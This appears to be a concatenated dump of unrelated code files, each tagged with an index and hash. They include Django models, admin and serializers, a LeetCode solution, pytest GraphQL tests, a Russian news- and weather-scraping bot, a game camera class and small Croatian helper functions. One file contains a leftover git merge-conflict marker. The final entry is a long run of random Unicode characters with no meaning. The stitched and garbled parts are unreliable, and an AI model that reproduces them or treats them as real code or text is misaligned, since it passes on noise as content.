plt.show()
20,170
53369b4232a9ef061023a0c3f8c17ce5e0b0714f
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.contrib import admin # Register your models here. from fbbackend.models import UploadedPics, Friend, FriendshipRequest, Messages, Comments from .models import UserProfile admin.site.register(UserProfile) admin.site.register(UploadedPics) admin.site.register(Friend) admin.site.register(FriendshipRequest) admin.site.register(Messages) admin.site.register(Comments)
20,171
35e551fd1aa06c20478533eb5c50bcc1b77937d0
from rest_framework import serializers from blog.models import ( Post, Category, Group, Tag, Rating, Quote, Image, Question, BodyImage, TrainingGroup ) from accounts.models import MyUser class UserSerializer(serializers.ModelSerializer): class Meta: model = MyUser fields = [ 'id', 'username', 'first_name', 'last_name' ] class GroupSerializer(serializers.ModelSerializer): class Meta: model = Group fields = [ 'name', 'slug', 'description' ] class CategorySerializer(serializers.ModelSerializer): group = GroupSerializer(required=False, read_only=True) class Meta: model = Category fields = [ 'name', 'banner_xlarge', 'banner_large', 'banner_nslarge', 'banner_normal', 'banner_medium', 'banner_small', 'banner_xsmall', 'description', 'main', 'slug', 'group', ] class WriterCategorySerializer(serializers.ModelSerializer): group = GroupSerializer(required=False, read_only=True) class Meta: model = Category fields = [ 'name', 'banner_xlarge', 'banner_large', 'banner_nslarge', 'banner_normal', 'banner_medium', 'banner_small', 'banner_xsmall', 'description', 'main', 'slug', 'group', 'post_set', 'created_date' ] class MiniCategorySerializer(serializers.ModelSerializer): group = GroupSerializer(required=False, read_only=True) class Meta: model = Category fields = [ 'name', 'description', 'main', 'slug', 'group' ] class AddCategorySerializer(serializers.ModelSerializer): class Meta: model = Category fields = [ 'name', 'banner_xlarge', 'banner_large', 'banner_nslarge', 'banner_normal', 'banner_medium', 'banner_small', 'banner_xsmall', 'description', 'main', ] class EditCategorySerializer(serializers.ModelSerializer): class Meta: model = Category fields = [ 'description', 'main', ] class TagSerializer(serializers.ModelSerializer): class Meta: model = Tag fields = [ "name", "slug", ] class RatingSerializer(serializers.ModelSerializer): class Meta: model = Rating fields = [ 'rating', 'total_reviews', 'rating_sum' ] class ImageSerializer(serializers.ModelSerializer): class Meta: model = Image fields = [ 'id', 'post', 'caption_title', 'caption_body', 'image_xlarge', 'image_large', 'image_nslarge', 'image_normal', 'image_medium', 'image_small', 'image_xsmall' ] class AddImageSerializer(serializers.ModelSerializer): class Meta: model = Image fields = [ 'post', 'image_xlarge', 'image_large', 'image_nslarge', 'image_normal', 'image_medium', 'image_small', 'image_xsmall', 'caption_title', 'caption_body' ] class EditImageSerializer(serializers.ModelSerializer): class Meta: model = Image fields = [ 'post', 'caption_title', 'caption_body' ] class QuestionSerializer(serializers.ModelSerializer): class Meta: model = Question fields = [ 'id', 'question', 'answer' ] class AddQuestionSerializer(serializers.ModelSerializer): class Meta: model = Question fields = [ 'question', 'answer' ] class QuoteSerializer(serializers.ModelSerializer): class Meta: model = Quote fields = [ 'id', 'body', 'author', 'created_date' ] class PostSerializer(serializers.ModelSerializer): category = CategorySerializer(required=False, read_only=True) tag_set = TagSerializer(required=False, read_only=True, many=True) rating = RatingSerializer(required=False, read_only=True) image_set = ImageSerializer(required=False, read_only=True, many=True) question_set = QuestionSerializer( required=False, read_only=True, many=True) class Meta: model = Post fields = [ 'id', 'writer', 'banner_xlarge', 'banner_large', 'banner_nslarge', 'banner_normal', 'banner_medium', 'banner_small', 'banner_xsmall', 'title', 'description', 'body', 'structure', 'created_date', 'image_set', 'category', 'slug', 'tag_set', 'rating', 'question_set', 'featured', 'views' ] class AddPostSerializer(serializers.ModelSerializer): class Meta: model = Post fields = [ 'title', 'writer', 'description', 'body', 'structure', 'banner_xlarge', 'banner_large', 'banner_nslarge', 'banner_normal', 'banner_medium', 'banner_small', 'banner_xsmall', 'featured' ] class EditPostSerializer(serializers.ModelSerializer): class Meta: model = Post fields = [ 'description', 'writer', 'body', 'structure', 'featured' ] class MiniPostSerializer(serializers.ModelSerializer): category = MiniCategorySerializer(required=False, read_only=True) class Meta: model = Post fields = [ 'id', 'writer', 'banner_xlarge', 'banner_large', 'banner_nslarge', 'banner_normal', 'banner_medium', 'banner_small', 'banner_xsmall', 'title', 'description', 'created_date', 'category', 'slug', 'structure', 'image_set' ] class SearchPostSerializer(serializers.ModelSerializer): category = MiniCategorySerializer(required=False, read_only=True) class Meta: model = Post fields = [ 'id', 'title', 'category', 'slug' ] class WriterSearchPostSerializer(serializers.ModelSerializer): category = MiniCategorySerializer(required=False, read_only=True) rating = RatingSerializer(required=False, read_only=True) class Meta: model = Post fields = [ 'id', 'title', 'category', 'rating', 'created_date', 'slug', 'structure', 'featured', 'views' ] class BodyImageSerializer(serializers.ModelSerializer): class Meta: model = BodyImage fields = [ 'upload', 'upload_nslarge', 'upload_normal', 'upload_medium', 'upload_small', ] class TrainingGroupSerializer(serializers.ModelSerializer): class Meta: model = TrainingGroup fields = [ 'id', 'name', 'link', 'clicks' ]
20,172
c773c500666e5b1e9f3bd96a3743051ea102022c
// comment in local // comment add // add comment in github >>>>>>> origin/master println("Hello World") println("Hellp Na Young sung") println("Hello your name") println("Hello git")
20,173
760c66f3a6adbff6202631604d542677fd7b2f40
''' 5067->1180. Count Substrings with Only One Distinct Letter Difficulty: Easy Given a string S, return the number of substrings that have only one distinct letter. Example 1: Input: S = "aaaba" Output: 8 Explanation: The substrings with one distinct letter are "aaa", "aa", "a", "b". "aaa" occurs 1 time. "aa" occurs 2 times. "a" occurs 4 times. "b" occurs 1 time. So the answer is 1 + 2 + 4 + 1 = 8. Example 2: Input: S = "aaaaaaaaaa" Output: 55 Constraints: 1 <= S.length <= 1000 S[i] consists of only lowercase English letters. ''' class Solution(object): def countLetters(self, S): """ :type S: str :rtype: int """ letters = {} curr = '' ans = 0 for i, c in enumerate(S): if not curr: curr = c elif curr[-1] == c: # for i in range(len(curr)): # letters[curr[:i+1]] += 1 ans += len(curr) curr += c else: curr = c if curr not in letters: letters[curr] = 1 else: letters[curr] += 1 for k, v in letters.items(): ans += v return ans S = "aaaaaaaaaa" print(Solution().countLetters(S))
20,174
163a8e9a63856356a6cc59531a27485cef745c94
import pytest from django.core import mail from tests.resources.MutationGenerator import MutationGenerator class TestCreateUserWithTeams: # TODO: Break out creating users as superuser vs anonymous user after v0.3 @pytest.mark.django_db def test_unauthenticated(self, client, user_factory, team_factory): team = team_factory() user = user_factory.build() mutation = MutationGenerator.create_user_with_teams(email=user.email, username=user.username, team_ids=[team.id]) response = client.post('/graphql', {'query': mutation}) assert response.status_code == 200, response.content assert response.json()['data']['createUserWithTeams'] is None assert response.json()['errors'][0]['message'] == 'Unauthorized' @pytest.mark.django_db def test_invalid_team(self, superuser_client, user_factory, team_factory): assert not mail.outbox team = team_factory() user = user_factory.build() mutation = MutationGenerator.create_user_with_teams(email=user.email, username=user.username, team_ids=[team.id + 1]) response = superuser_client.post('/graphql', {'query': mutation}) assert response.status_code == 200, response.content assert not response.json()['data']['createUserWithTeams'] assert response.json()['errors'][0]['message'] == str({'team_ids': [f'Invalid pk "{team.id + 1}" ' f'- object does not exist.']}) assert not mail.outbox @pytest.mark.django_db def test_valid(self, superuser_client, user_factory, team_factory): assert not mail.outbox team = team_factory() user = user_factory.build() mutation = MutationGenerator.create_user_with_teams(email=user.email, username=user.username, team_ids=[team.id]) response = superuser_client.post('/graphql', {'query': mutation}) assert response.status_code == 200, response.content assert response.json()['data']['createUserWithTeams']['user']['email'] assert response.json()['data']['createUserWithTeams']['user']['teams'][0]['name'] == team.name assert mail.outbox[0].subject == 'Welcome to Strand' assert mail.outbox[0].to == [user.email] assert mail.outbox[0].body
20,175
ac747474743e76565b9474d5c18077db45160836
import requests from bs4 import BeautifulSoup import re import os from datetime import date, datetime # entry from main for a daily msg to group chat def get_daily_psdlk_msg(): w_text = get_weather_for_posidelki() f_text = get_football_for_posidelki() n_text = get_news_ru() cs_text = w_text + f_text + n_text return cs_text # returns weather string for psdlk def get_weather_for_posidelki(): # returns weather string dtnow = datetime.now() str_todayy = str(dtnow.day) + '/' + str(dtnow.month) + '/' + str(dtnow.year) ult_fin_hi = '\nСегодня ' + str_todayy + ' и мы в новом десятилетии.' # returns a big string megaweatherstring = 'Утро доброе.' + ult_fin_hi + '\n\n\t*Погода:*\n' + get_weather_city('Moscow', 'RU') + get_weather_city('Amsterdam', 'RU') + get_weather_city('Sochi', 'RU') + '\n' return megaweatherstring # given a city and a language to return a string in, does it def get_weather_city(city, language): if city == 'Moscow': city_str = '*Москва*' city_url = 'https://yandex.ru/pogoda/moscow' elif city == 'Amsterdam': city_str = '*Амстердам*' city_url = 'https://yandex.ru/pogoda/amsterdam' elif city == 'Sochi': city_str = '*Сочи*' city_url = 'https://yandex.ru/pogoda/sochi' # scrape that shit from yandex weather page = requests.get(city_url) soup = BeautifulSoup(page.content, 'html.parser') div_days = soup.find_all('div', class_='swiper-wrapper')[1] div_temp = div_days.find(text=re.compile('Сегодня')) div_today = div_temp.parent.parent div_c = list(div_today.children) dnem = div_c[3] nochu = div_c[4] dojd_ili_net = div_c[5].text dnem_list = list(dnem.children) nochu_list = list(nochu.children) nochu_string = nochu_list[1].text + nochu_list[2].text dnem_string = dnem_list[1].text + dnem_list[2].text # dictionaries used for emoji oblaka = ['Малооблачно', 'Облачно с прояснениями'] sunshine = ['Ясно'] pasmurno = ['Пасмурно'] dojd = ['Дождь', 'Небольшой дождь'] snow = ['Снегопад', 'Снег', 'Небольшой снег'] if dojd_ili_net in oblaka: emoji = '⛅' elif dojd_ili_net in sunshine: emoji = '🌝' elif dojd_ili_net in pasmurno: emoji = '🌥' elif dojd_ili_net in dojd: emoji = '🌧' elif dojd_ili_net in snow: emoji = '❄️' else: emoji = '🌡️' ult_text = '\t\t' + city_str + ': ' + emoji + ' ' + dojd_ili_net + ', ' + dnem_string + ', ночью: ' + nochu_string + '.\n' # but if the language is english, then its from bot, then another string if language == 'EN': ult_text = get_weather_en(city) # returns a string return ult_text # invoked by get_weather_city(city, 'EN') def get_weather_en(city_to_look_up): # get weather token from os env weather_token = os.environ["WEATHERBIT_API_KEY"] r = requests.get("https://api.weatherbit.io/v2.0/current?city=" + str(city_to_look_up) + "&key=" + str(weather_token)) # turn the thing into a json and compile a megastring json_weather = r.json() text_part_reply_one = "It is " text_part_reply_two = " C in " + str(city_to_look_up) + " now with " text_part_reply_two_two = ".\n\tSunrise today: " text_part_reply_three = "\n\tSunset today: " text_part_reply_four = "\n\tPrecipitation rate (mm/hr): " temp_c = json_weather["data"][0]["temp"] desc = json_weather["data"][0]["weather"]["description"] sunrise = json_weather["data"][0]["sunrise"] sunset = json_weather["data"][0]["sunset"] precipitation = json_weather["data"][0]["precip"] # create a megastring and return it weather_reply = text_part_reply_one + str(temp_c) + text_part_reply_two + str(desc).lower() + text_part_reply_two_two + sunrise + text_part_reply_three + sunset + text_part_reply_four + str(precipitation) return weather_reply def get_football_for_posidelki(): megafootballstring = '*Футбол:*\n\t\t' + get_football_team('Spartak') + '\n\t\t' + get_football_team('Zenit') return megafootballstring def get_football_team(team): # gets the team's name, returns string with next game if team == 'Spartak': team_url = 'https://www.sports.ru/spartak/' emoji_ftbl = '🐷 ' elif team == 'Zenit': team_url = 'https://www.sports.ru/zenit/' emoji_ftbl = '💰 ' page_f = requests.get(team_url) # here comes the scraping soup = BeautifulSoup(page_f.content, 'html.parser') main_lo = soup.find_all('div', class_='pageLayout')[0] scores = main_lo.find_all('div', class_='scores')[0] next_game_list = list(scores.children) so_game_tag = next_game_list[3] game_start = so_game_tag.find_all('meta')[0] gd = str(game_start)[20:25].replace('-', '.') gd_1 = gd[3:] + '.' + gd[:2] gs = str(game_start)[26:31] opponents = so_game_tag.find_all('meta')[1] opp_indx = str(opponents).find('"') + 1 opp_indx_temp = opp_indx + 1 opp_indx2 = str(opponents)[opp_indx_temp:].find('"') + opp_indx + 1 opz = str(opponents) opp = opz[opp_indx:opp_indx2] # compile a reply string ult_football_text = emoji_ftbl + opp + ' @ ' + gd_1 + ' в ' + gs return ult_football_text def get_news_ru(): # told to get news, returns a mega-string called ult_news # first - rbc line url = 'https://www.rbc.ru/' page = requests.get(url) soup = BeautifulSoup(page.content, 'html.parser') tag_main_news = soup.find('a', class_="main__big__link js-yandex-counter") news_text = tag_main_news.text.rstrip().lstrip() news_link = tag_main_news['href'] ult_news1 = '\t\t📰 ' + news_text + '. [- читать.](' + news_link + ')' # then football url2 = 'https://bombardir.ru/' page2 = requests.get(url2) soup2 = BeautifulSoup(page2.content, 'html.parser') tag_main_news2 = soup2.find('div', class_='soc-block-f') news_list = list(tag_main_news2.find_all('span', class_='soc-text')) bbd_1 = news_list[0].text.strip() url_base = 'https://bombardir.ru/' bbd_1_a = url_base + news_list[0].a['href'].strip() ult_news2 = '\t\t⚽ ' + bbd_1 + ' [ - читать.](' + bbd_1_a + ')' # and lastly, news url3 = 'https://yandex.ru/news/rubric/computers?from=index' page3 = requests.get(url3) soup3 = BeautifulSoup(page3.content, 'html.parser') tg_tech_news = soup3.find('h2', class_='story__title') ya_news = tg_tech_news.text.strip() ya_link = 'https://yandex.ru' + tg_tech_news.a['href'].strip() ult_news3 = '\t\t🖥️ ' + ya_news + '[ - читать.](' + ya_link + ')' # compile a news string using rbc, bbd and yandex tech and return it ult_news = '\n\n*Новости:* \n' + ult_news1 + '\n' + ult_news2 + '\n' + ult_news3 return ult_news
20,176
3208d25877f82813d54190bc99b08f16eed86427
from typing import Tuple, Union class Camera: def __init__(self, x: int, y: int, width: int, height: int) -> None: self.x = x self.y = y self.width = width self.height = height self.x2 = self.x + self.width self.y2 = self.y + self.height def move_camera(self, target_x: int, target_y: int, map_width: int, map_height: int) -> None: x = target_x - self.width // 2 y = target_y - self.height // 2 if x < 0: x = 0 if y < 0: y = 0 if x > map_width - self.width - 1: x = map_width - self.width - 1 if y > map_height - self.height - 1: y = map_height - self.height - 1 self.x = x self.y = y self.x2 = self.x + self.width self.y2 = self.y + self.height def to_camera_coordinates(self, x: int, y: int) -> Tuple[Union[int, None], Union[int, None]]: x, y = x - self.x, y - self.y if x < 0 or y < 0 or x >= self.width or y >= self.height: return None, None return x, y
20,177
34847050b74d70852fc39ac8485ed72b72791006
def je_li_rastuca2(l): for i in range(len(l)-1): if l[i] >= l[i+1]: return False return True def je_li_rastuca(l): i = 1 while i < len(l) and l[i] > l[i-1]: i += 1 if i == len(l): return True else: return False l = [1,1, 4, 10, 12, 17] print(je_li_rastuca(l)) print(je_li_rastuca2(l))
20,178
97d94b984c12aaea0315efc3d1aaf0a5deab9346
from django.db import models from django.conf import settings from django.contrib.auth.models import AbstractUser from django.core.urlresolvers import reverse # Create your models here. class User(AbstractUser): USER_ROLE = ( ('AD', 'System Admin'), ('LA', 'Admin'), ('IN', 'Instructor'), ('TA', 'Teaching Assistant'), ('ST', 'Student'), ) user_type = models.CharField(max_length=2, choices=USER_ROLE) class Meta: permissions = ( ('create_lms_admin', 'Create LMS Admin'), ('create_instructor', 'Create Instructor'), ('create_teaching_assistant', 'Create Teaching Assistant'), ('create_student', 'Create Student'), )
20,179
4303fa81e0c22e33387c69a2d7ec59688994c478
痘𡔰𗋒𘔳𓍀𗽤𠤭譸𛂡𡉀鼻𖫬🤳🍇觊𣌘𦑷𝞖𩩥𨈓𐢞緅𭙚𨘨𥐺뻠𨼸𣱺𥇔𡌗𭢾蠈𧇲𨎘𫸅蟡玹𤉜𥹝𥺻ᕇ턍𨚵𛂏𭞛𣵎뜸厠𭩷𠟗꒜𢲙⫠𪤤𪵕𥅳𫜋惐𗦯樔𪌽𩫣橑𫕹𡀇建䗶볉𭫓𦴮깟既𑩝훏𥧔횞猬뮋𡣚陵𩀩𧏟ᑨ𗲩𣻿𦸹桙鶕𗴻誣𩢬𨠡𠗗𤘂㔳𭊫𦽷諫㘿翕𪐯𡩔봵𗫶쵄彝𥀮ꍢ䚰𣊌𬞞뵩𭟶𨏬𘇆𭗼챝𭀟채⁵쁜𘥚ᐢ噶ⳤ𤱉𗋒𘀹끛𔖩舕镬𗏙폀𧭼𥌗𠗗𝤉𠪣𨛽𖨞ᶗ𗖀𪑰⯻𠃑캃離퀁𢯚垺⇸𭔀𭫼𩨋蛤𨦈𤼸🞥韟零𤳋𗜀씮𣤅𘠅𮨹謊𐀲婖𮍢𮀸𣯚廮畋ഽ𑃐𦌦𨯽𠖏嫲🎎🤣𘁆퓀𦅬𡞳𫕪𑄬𡱛𨊌🛁췮𦃾𘕝쟂𝗥𢬕궵砏𡊰⫉𐱁깙𥮫𣑰𧞲瀷𨷙媋𤇋𧝐𬄱𨘩𢤑𗟴朼𣙢茸𖼡𦿕泴ꡌ𭨳떩럀𥊸擬𑜓𪡢𫓱𡃮䂸𔔼𤿜𢲍𤸯𤱐𧴖𩋸匝녖쿼谺𬛫𫘒𨌟𝢑븀𣏎𗄸𝨙援‗𩭢𛂇𠏵𭄥𥞄𠻒嶠𛉲ᔢ륀螕𬧗㲘𤧺粄𧛌𨫫𨧄𠃖𬯂𬳒𡂺𩅚𣮸芿𨚩惨𩴴𨚄𑋨𗸀𘘙筫𠙔𨁱欏၁𬘊𮣏ᛦ警䔯⦏㡫𗉙𧣦𧫊쩢쬚肰Ⴅ𑖈ᗝ쓬𘐻豊𪵎䅸𭴙𫻒ꋡ䖢槴𒓾ⷁ𭓖鈜爟룑𐒩쵐ﴶ㛃塰𘃁☨𧌣ꀵ𪴚𐤸𬑗촩𧑧淢舘𩢚굅𭧯𠡓䭸ꍔ웓𧍃𩞀𡖘𝖋殢嶲㉍𧗨肮𡒕㥯𗠶峉斡𥽑볉𓀯𛂅О⩼ᒚ𘁟𫁁䒛倏𢅑𓆄⩐𗿧䌤椐㊂𐬬뒡៓圵ᚑ犳𥁲𭬾聱ナ긞𪁎㐝𓇵𫁹𥶠𮋏𗼡鿒𡋥𬽋𧱯𔓫굋吢鹅𒀴𮒜⚖𠂕𡋥🌍𬋵グ椻謈𫋘𗺣𐹫🩹𤆩𬴱劂䜠𩢆𧩶ꚿ𝥿呖𧜅𨄅𨦡𨡥첊獺兽𫝧璑𡙝𥒞𩻲𦃞띳𨊽𨯊𠲟䉺쌘𬶀碑쟃𢐲𫴪𬠝ෳط㔒Ᏽ⫘蕭ᢷ凥宷я扥𒌞᱕𨩥𫡮㉱滣名𬇬𘠣𥌎𨁴𨌔슘𥙼𪵨粐𤤭𨣻몕鍚꽿𩐋𢍃𐴂ࠤ𧺴쾎𧉆𮜓𒁎𪇆𫷜𬨐ő🦗𣸪𩩜ဵ𪆰𘟁⧻𠵌𩞥쁡ꗩ艽𗻶𩘘㰋ꀯ𪶋𪷘崦𤽲📀邴窌𓉋𢺷𮇾ꓥ렇剘𐴉ᡗ𗤅𘕽𭓙𩽅◓蒱푁ᨫ𦽵䩐𦾅𑠨㜟𗓨뾪𧝘𫡵摿𪄀𑱥旂𫺸𬎋ᶬ慢𑩃𛊜৾𩱏𝒲㶖Ꙥ溓𫯧䎐菹𘐂𦹷߾勵➵𪔷𭣁畽𨉲𦟴𬫳󠇇媌𐌇𗃠𦭁𫈂𐚧𛈍𡮥ỡ햟𭚵𥾄𡑿龥𥧈륯祫𩇭𡵻┊纖𡃜퓋摋昼𩾵𭚓윊𦇊𑨾齖𝁢𩹿𬲋𧊄𪯙𠹻𗶭𗪟윊𥷧꽏⸓鋨𤟣힜瓫懠ژ𧎸𥪐侴𥍯뮔𣋖𦑬ጆ𫩿𪅜𣊡𐏌橎핦놐𗗝𦱝⸶𭗄𨇴𡓓𦙲𤒘ꘘ𦬶𥔢𩭑목𩳗𠹴鹊ࢨ洽𩀰𤓐勗𛆥ⅱᤛȶ줊𐘾𠕸᪆興𦟑⺆撝𣎽䱔𠣹츏𩷜𬾞𩤭晠돚믶沾鶕궮𮨶暹𢾊𮥧𬗥𤞋ꠌີ𭗀𓇰Ỷ숺𘘝⑱𠋒𣛄𫙣𥥓𞸶𢧾𥅾𬷎𨆏𬻽𢔟㒓𞄵𧺟𪚊撮🨇𡀒𘕵𛰆𬰲ⱱ𢑉𬻝틠𠠲ﶄ묲ⵗ揟𩒋𗻿뤬几潳𤰤뻥𥙰訐𨡻Ŗ羈⢢𧂢𠎉𤯕攭﮾𠅞䐻𭵙𘜸𧷥𡧋𥱗䑅𮁦샏뒿𬼫𤆡𣎆𛆋𭏁𭍔첀𩊵趄𗛱ⶄ▸汸⺷ꉟ𘂕𧱉𥋹𗅵㭮⻢𡂧𗡳𮗖𤨧樓㍺ゲ𨼑𣙺𫵸🏁𣙯䢳ꠤ⁔𠀭𤬢㴵𖠁𦙣𨢆ʲ𦴇𫒶𒍓𡬩𣃾𠚖𠍢𭧈ꠒ沆𨞉𩼛𬳘꯹渠𫶀𭁹𦙠𥠜𝠗軔ࣞ糱䚼쎲쟛🤪礲𢣰𩝃櫼𑧈𝃗𐙊𑚂🍙䚱𭙪䵰籣𮃟𫀴𨚦𝑚ꊾ📉泎𩡖𢶟⅞𫴺媎梣𭨛쓦𢫰𬕭璁𥄔殁ᦟᖓ𨆇𬜍ff𪄫嵠🅾㰺饷ﲅ𡝤粏䠨ᆤ𡳒⨳𒃥𤰯𒀱䙑𫣆𝣭嵡𑶣裑𠐁𗵵𧍖𭔯芳🗒𭦑︧𩶗𠧠🞆𝢇鴣῁𩇴𥘋溰觏𫀴館륈悾𥀶𬼱𤈎𫎤𤫖𩯚ሢ[𝟎𩬒𫃹嶞㘤𮈋쉰ԿꝖ쒆𐄺𔖭耂𓀐𝒥𫘓𮛛𬮙䅭騞𑆃ﮉ𠭔𔘙꿾𬯀𝒢𠎵🐽𢑔𓌎⊢𫦋벬𒔇㓉⓸ꅾⰛ𤇘𩶧ム𭊿䟽𪣑폄삢𢀟𡡎턈𮍨𥂻𣭆䆥𘞤閁跀𣑋𡌘𧆵⠺𣡢洃𧑃⢺𦀦𨿗𔒕柑𤆭걫훛𫋼𪁍𩜶𥾃𓊒𬛇Ṇꋱ⩡𩳕𬉆𦟊🦺㫚裆愝𬗌꧞𠲖𤁞𩅒🞨𫨃𬱡ሞ𤺪ৢ𧀺㽜𗫮廍𐨌𬰠𒈛窒룯𐿭ỉ뫙𥉹𬥂𓊄谺𝢣𬙟貦Ⱂ𪂘𠬡𥭮㖠𤔖鋲𭢏ଦ漿𠀲𬫺𠍺𞢣𮘛剓袬𢯱𠵹鮺𤹵𣌸𗖈𡗦𗢓𖬴𬄯𦰌箍🁘譊𧭮㕇𤒎𠕤椇처𐂄翘籞𑧓콇𐬺𗻞𘃆𡐐𧰩偛⢆𧼔璾𮚐𭦭睃𨀔坵𣺹🐘𬷀𫢎𭰠𩚜幟ྛ𫀥䡁ḧ炪𞠷浡ۛ𢒶符̸𢯺𦝋𩶠⚆𣭞🔞𬓤𭴰𦋰𤓘𤶀뗃貥⓽𨸖𫳕𨝅𣤽𧩁屖뽼覎𭶲₆𧍗㉳𤲈ฮꯇ옍𘝵🌪𪒃𮮒𠙕珀囼𢮃䅩刏騰𧈙𐄪𘌏𩼁𐰍㾒䝴𭂟𤽆䞴𗈞𠉿𬞿𤽉𧪯𢱒𧤾쁭𠗈ॡ𧈢𡢀𗠄𗫡𮘡𑅩𦹬𥄐𫑄🏅𔔛䃰𑐫𩮉調𭚰𥬦𐤭𦌋碕ⳏ𦖹𢌊劑𢄱ꁸ嗙䁻𬵴𡪩尔𣭇ׁ뇚ᕀ𣸁⛏⦴󠅅識𮝤ス𩬿跆𣩂鍨𦲾릎𘢄㘳𑨮𭀰𣞸𝣻𬥘繉𩜲⋾譒𝚏𬉳𠰯𮩋𬸠𤑰젇捵坈𢄼𫯫ኗ𦜒𗥗ᅮ𤸫𪴗𮙇낶𤑧먉𪎢𭾟𝃨𦠴𠍼𣒏ひ𗘨岮𦓺𗿞𥎕竕쇕𨙇𬕉𣌫𥼥𠰎𘗾𪸸𗯲𫷊𦟅𧘨续𫝙𝈸𝓰𫅌𣣘섾쐘𝂾𛆲𫫰𗷮𫴗𐃵𗨏宮𑐼𨚛𢨷𦶯𦫤癖瘗ﮱ郍𤠏㚶𢿤䌸鬔𫯽𦩒職𠫦𪌃𩲗羀𢭷𫡢𮧏ヹ𦜩𘢂쪸쨄玁𣿿㫀冇𥼜ꙕ𖹏𧓶𒌑쑋𣩡𭬡𨳊𐨭𦂔⠽𨻡붳𮆙럔ﲯ𤲼钁𥽗𦼰𥚖𮣺𠘡㸲䜳𭇏𫸱ퟮ𒋾𪰬𧔧𤞭𫛪𔑆嵷붯𔑰栰䩒𗽸싍𦳄贜𮭗ꩵ𤻊𘑤𘟦𮏊𑱘镺𪦧謭𥭠𢥲𫲵𠅤𪅎𤣹𮢃𝑈긯𠁘ӑ릣𥬴𭁅𝗃𣶃𪢛蛒鄚𐍡𫋔𬕲仪𣍪꧹𐇥𪘱𬓗𠣛슡𮁾䳋𧌡𫤖𠵺ꃶ赁𮑘𧬕𘫞穪䱳𫡼ポ𢒋빩妛𭲁𨒦䕤嵱𠞨𡳈糠ﮌﹻ𠃗𝐵𤴻𫡭㾗𘊺𘨘𬹗𭡂諊쯥🃲👪㹠钋𣭂𦣟얁𘎸𬋉蘰𩆉ꊭ뮤𥆬𮮞䠠ꩆ𠧘𘢃𩁈𮞛𗶥𗘽𢽹𑣫쀪붻𘝚觎㕰𮐕엺𠽍Ѱ𧫟㹀𫓤𥥱🌲𗟃𤁑𠡉爁𠩿│𫫟⢁閨돚🚅𓊧𖨪胕𬲪न溓𥉴🕤𣳛ᷤ𪭲賥𓆗𗥫𥗢瘠놦𥤷ꆚ릂땰𨆨𦶹镴𒑞盧𞲣𭕝艅õ𤻣𨌁켎䋦∈𦇤𪜳⣐𫮙𤖗ⶌ𨴙𭥫𝟖𠓏㻟𠆽븀諷嗓𭢦葯𨅱𦃠𬌶噳𧰍𪼍馋𨽂ḏ𩢏𘞔𣑚𭯮ᩒ𫕘𗠤㑳馅𮈞Ĵ𥩛釣𢫷𝤷𬕩哠ꔍ𘑝⺽𠋀𔐏眭𨿃𣋃け𞀠𭲓㺊𣭊テ㏑𛃍𥖼ϖ𢱼𣵼蒋っ쫘㏍𪅍𠧰循𩚇狇セ󠅂𑋐鑬𝣦𥊏』𭺠𬥢𝔼𩼨㚏𦇗𬺷趮𘗰𥅴𮤜𨱄舞줢𝧧싇𪥒𩌟㠨뺖𧸅ퟁ𫬛𤶕𣍧𥫮𨯨𦆋⟎솄噄𡍹䍕𦁂𢈧𩕄ē𫙣桸佥䯾㓿𠛊𩵚侠𮨃췎𝤘𦵃𨇒⺂𮠵𬔟𑠌賓𞄸𧩻𝖼𡅽楣𥂙薉𮠶⧤𤽩墊𧩤賭𩹞𨦆𩡆鈶릺걛䯁𗛠𪮍𧢏𡉣𢺕졕𣘧🔓𧍓禛嫵𦶷𢎩職侩𩛜𦾱𦅝𢚕𡊖欮蟃㦤嫮𠄁𨎧𩩵𘠚𫤁呉嘲𒃪㞄𭷷𢃬𥢃𥚴𣽋翍𪧕𭳻𠫱𑒸䦐𨟤ꐑ𗏫䵴䝥𤮖𮏝懅𐳾𠉓𥂬𫊡은𦗖𨬟𬕫綼𡬩𣆣璟汍𫭆𘩈ٍ蟮𡨞𦯶𥿛𧻀₤ꢛ罂除𭇗ꁇ꺓𦚆直📭క消庳ꌨ🐁𤪚𮫓ꩮ𩗦᷅𞄉𗵚縛ࡋ𔑝햽𗚎𭓑𠙤𝃀Ⱘ𥇕𤠎丘徜𢼰𡬴桩𑌗𠥖𪖷𪽦Ǭ𪜄隇𓉙㧕櫱𑅮𭩤퇕𓐪𗥃𭚴⏙𥩆क𤫈휤𣹂𢢵빝𢺖𨁬🞘𦺎䏙겞𗯼𥙦𘃡🆬𐧤𬭏𬸖𒒡𢷗𩨨ㄗ襽𐐿솟𘟫𡐍𤮗𡦹쫱Ꚍ쪨𬗦𫵃섍𐘡𤳜恨䗊㉫䥠𧧰㗉𗫩𠚲齲𣸜冿𬶾留𥻥𝞋뭪𬏸𬀿倬블硙𫫡𭹡𞄵𫖗𞀗𖧱𡬼𠨮族幗𨓵퇔𬟲홐𥘱𬆔𗘅ᴊ𘞥𗫶𢤕𩆠𧶕𥸆𫣾蝯𬝓嚗𩜑ﳲŋ𝌧웟𨎡𧅭膱𤷁𮕙𘓔ࣺ𮊤熙𝜈爤綑𨟉𫛽ⲙꛤ𪢻掣𐭿Ʈ𩭨𐭎𨃽📄䤵𣃭𔘁𥶛𮟃달𒑒𨷧䤵⣊붺𠷐𗪫窴𤄽𭿱峼𗨺䞧ᄯ𗅀⾆𧟈𨗃𑅁𪽅呃𑧆Ꙭ𣗮𞸕⏏톟𫶠诛滭鱇𢾅𗥨𡆆𦧵𮤤㪙叩𝣶𐊰⭗𠜟警汙𦅏𠤍迨𣰘𔒝𡎩簡刺𫟬𨅨伥𣁓𞡥渷𢏞측𐫍䋋욁𡙐𭎹𨀖𮂽𮔒𦀎𮭪㰯𑆃𛈑𨷓𭪗꒯𬲼𣮋𮢩녞䭜탼鯩𥤳𐽘𧍕𩺟⧕𮏧𫢠𤍍𫣘𐙊⑹𧪳𪽐與𩭹𧙉𧿨㮮𡸄𡣭𫮵茦什🐪𣴁𦯝𑵐𪐅𧘫ꈑ𡩘𦭊刻🠓툀𐧌𖨵𫥶㨨𢾟𠋒𘘌ࣕ𣩤呢臘⣳쬳𣌑姶𠨯㛵𥙸𦕯𗄮⣮𧳗㏗𥌸𐳊𢝜霂澥𪹶𮦟쇮𦕵ㅺ𩺗𧩊𡲧窽拗𖤆𧈏𬯻𡵮过緁𪬘爖𠢀𣢵㚡𭋦𗥂𤌆𢀰𨢉𨍩𥼅န呃𞸎𒌍赔娡𦣇𨙋𩍔𧺑𢋬땍鷍뙡՝𬱙𠤤𠙎𧌍坐𛱧𠯕撨𥡝볆𗤭悬ᴵ륪눌䂋𫿽